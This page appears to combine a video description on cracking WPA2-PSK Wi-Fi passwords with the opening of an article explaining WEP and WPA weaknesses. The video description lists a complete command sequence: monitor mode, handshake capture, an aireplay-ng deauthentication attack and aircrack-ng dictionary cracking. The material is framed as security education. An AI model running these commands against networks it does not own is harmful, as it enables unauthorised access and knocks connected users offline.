But WPA2 encryption can be cracked, too — here’s how. As usual, this isn’t a guide to cracking someone’s WPA2 encryption. It’s an explanation of how your encryption could be cracked and what you can do to better protect yourself. It works even if you’re using WPA2-PSK security with strong AES encryption. Use airmon-ng to crack WiFi networks: 0:00 Network Adapter to use: 0:46 Kali Linux setup: 1:20 Plug in network adapter: 1:35 Verify that network adapter is recognized by Kali Linux: 2:04 WPA2 network to crack: 2:43 iwconfig: 3:27 Kali Version: 3:34 Kill conflicting processes with airmon-ng: 3:55.

Full process using Kali Linux to crack WiFi passwords. I discuss network adapters, airmon-ng, airodump-ng, aircrack-ng and more in this video.

Menu:
Use airmon-ng to crack WiFi networks: 0:00
​Network Adapter to use: 0:46​
Kali Linux setup: 1:20​
Plug in network adapter: 1:35
​Verify that network adapter is recognized by Kali Linux: 2:04
​WPA2 network to crack: 2:43​
iwconfig: 3:27​
Kali Version: 3:34​
Kill conflicting processes with airmon-ng: 3:55
​Put interface into monitor mode: 4:32​
Discover WiFi Networks with airodump-ng: 5:15
​Use airodump-ng to view only one network: 6:20​
Connect to network using an iPhone: 6:39​
airodump-ng capture WPA2 four way handshake: 6:58
​Use aireplay-ng to deauthenticate clients: 7:25​
WPA2 four way handshake captured: 8:08​
Use Wireshark to view WPA2 four way handshake: 8:38
​Put interface back into managed mode: 9:30​
Crack WPA2 password with aircrack-ng: 10:10​
Password cracked: 11:00​
WiFi router WPA2 settings: 12:00
​Summary: 12:40​

Network Adapters:
Alfa AWUS036NHA: https://amzn.to/3qbQGKN​
Alfa AWUSO36NH: https://amzn.to/3moeQiI​

Commands used:
! See version of Kali
cat /etc/os-release
uname -a

! See interfaces
ip addr
iwconfig

!kill processes
sudo airmon-ng check kill

!Start monitor mode
sudo airmon-ng start wlan0

!Verify that monitor mode is used
sudo airmon-ng

!You could also use iwconfig to check that interface is in monitor mode:
iwconfig

! Get the AP’s MAC address and channel
sudo airodump-ng wlan0mon

! AP-MAC & channel – you need to select your own here:
ESSID: 90:9A:4A:B8:F3:FB
Channel used by AP for SSID: 2

!1st Window:
!Make sure you replace the channel number and bssid with your own
!Replace hack1 with your file name like capture1 or something
sudo airodump-ng -w hack1 -c 2 –bssid 90:9A:4A:B8:F3:FB wlan0mon

!2nd Window – deauth attack
!Make sure you replace the bssid with your own
sudo aireplay-ng –deauth 0 -a 90:9A:4A:B8:F3:FB wlan0mon

!Use Wireshark to open hack file
wireshark hack1-01.cap
!Filter Wireshark messages for EAPOL
eapol

!Stop monitor mode
airmon-ng stop wlan0mon

!Crack file with Rock you or another wordlist
!Make sure you have rockyou in text format (unzip file on Kali)
!Replace hack1-01.cap with your file name
aircrack-ng hack1-01.cap -w /usr/share/wordlists/rockyou.txt

Previous videos:
Kali Installation: https://youtu.be/VAMP8DqSDjg
​WPA2 GPU password cracking: https://youtu.be/J8A8rKFZW-M
​Wordlists (rockyou): https://youtu.be/rgWcguAg-XA​

Connect with me:
Discord: http://discord.davidbombal.com
​Twitter: https://www.twitter.com/davidbombal​
Instagram: https://www.instagram.com/davidbombal​
LinkedIn: https://www.linkedin.com/in/davidbombal​
Facebook: https://www.facebook.com/davidbombal.co​
TikTok: http://tiktok.com/@davidbombal​
YouTube: https://www.youtube.com/davidbombal​

Support me:
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​Or, buy my CCNA course and support me:
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Introduction

Previously, we showed you how to secure your wireless with industrial strength RADIUS authentication via WPA-Enterprise. It turns out that there's a little back-story there. So, in traditional Tarentino fashion, now that we've already seen the ending, let's back up to the beginning: cracking WPA-PSK.

Wi-Fi Protected Access (WPA) was created to solve the gaping security flaws that plagued WEP. Perhaps the most predominant flaw in WEP is that the key is not hashed, but concatenated to the IV, allowing completely passive compromise of the network. With WEP, you can literally sit in your car listening for packets on a network. Once you have captured enough of them, you can extract the key and connect to the network.

WPA solves this problem by rotating the key on a per-packet basis, which renders the above method useless. However, nothing is perfectly secure, and WPA-PSK is particularly vulnerable during client association, during which the hashed network key is exchanged and validated in a 'four-way handshake'.

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The Wi-Fi Alliance, creators of WPA, were aware of this vulnerability and took precautions accordingly. Instead of concatenating the key in the IV (the weakness of WEP), WPA hashes they key using the wireless access point's SSID as a salt. The benefits of this are two-fold.

First, this prevents the statistical key grabbing techniques that broke WEP by transmitting the key as a hash (cyphertext). It also makes hash precomputation via a technique similar to Rainbow Tables more difficult because the SSID is used as a salt for the hash. WPA-PSK even imposes a eight character minimum on PSK passphrases, making bruteforce attacks less feasible.

So, like virtually all security modalities, the weakness comes down to the passphrase. WPA-PSK is particularly susceptible to dictionary attacks against weak passphrases. In this How To, we'll show you how to crack weak WPA-PSK implementations and give you some tips for setting up a secure WPA-PSK AP for your SOHO.

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• Accessing or attempting to access a network other than your own (or have permissions to use) is illegal.
• SmallNetBuilder, Pudai LLC, and I are not responsible in any way for damages resulting from the use or misuse of information in this article.

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